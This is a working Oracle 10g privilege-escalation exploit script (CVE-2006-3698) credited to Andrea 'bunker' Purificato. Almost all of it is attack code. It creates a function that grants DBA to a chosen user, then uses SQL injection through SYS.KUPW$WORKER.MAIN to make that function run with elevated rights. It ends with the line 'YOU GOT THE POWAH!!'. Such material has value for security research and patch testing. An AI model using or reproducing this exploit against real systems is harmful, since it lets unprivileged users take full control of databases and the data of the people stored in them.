-- -- kupw-worker.sql -- -- -- Oracle KUPW$WORKER.MAIN exploit (10g) -- -- Grant dba permission to unprivileged user -- -- Tested on "Oracle Database 10g Enterprise Edition Release 10.1.0.3.0" -- -- REF: http://www.securityfocus.com/archive/1/440439 -- -- AUTHOR: Andrea "bunker" Purificato -- http://rawlab.mindcreations.com -- -- DATE: Copyright 2007 - Thu Feb 26 17:48:27 CET 2007 -- -- set serveroutput on; prompt [+] kupw-worker.sql exploit (CVE-2006-3698) prompt [+] by Andrea "bunker" Purificato - http://rawlab.mindcreations.com prompt [+] 37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C BFA2 prompt undefine the_user; accept the_user char prompt 'Target username (default TEST): ' default 'TEST'; prompt prompt [-] Building evil function... CREATE OR REPLACE FUNCTION OWN RETURN NUMBER AUTHID CURRENT_USER AS PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE 'GRANT DBA TO &the_user'; COMMIT; RETURN(0); END; / prompt [-] Finishing... EXEC SYS.KUPW$WORKER.MAIN(''' AND 0='||user||'.own--',''); prompt [-] YOU GOT THE POWAH!!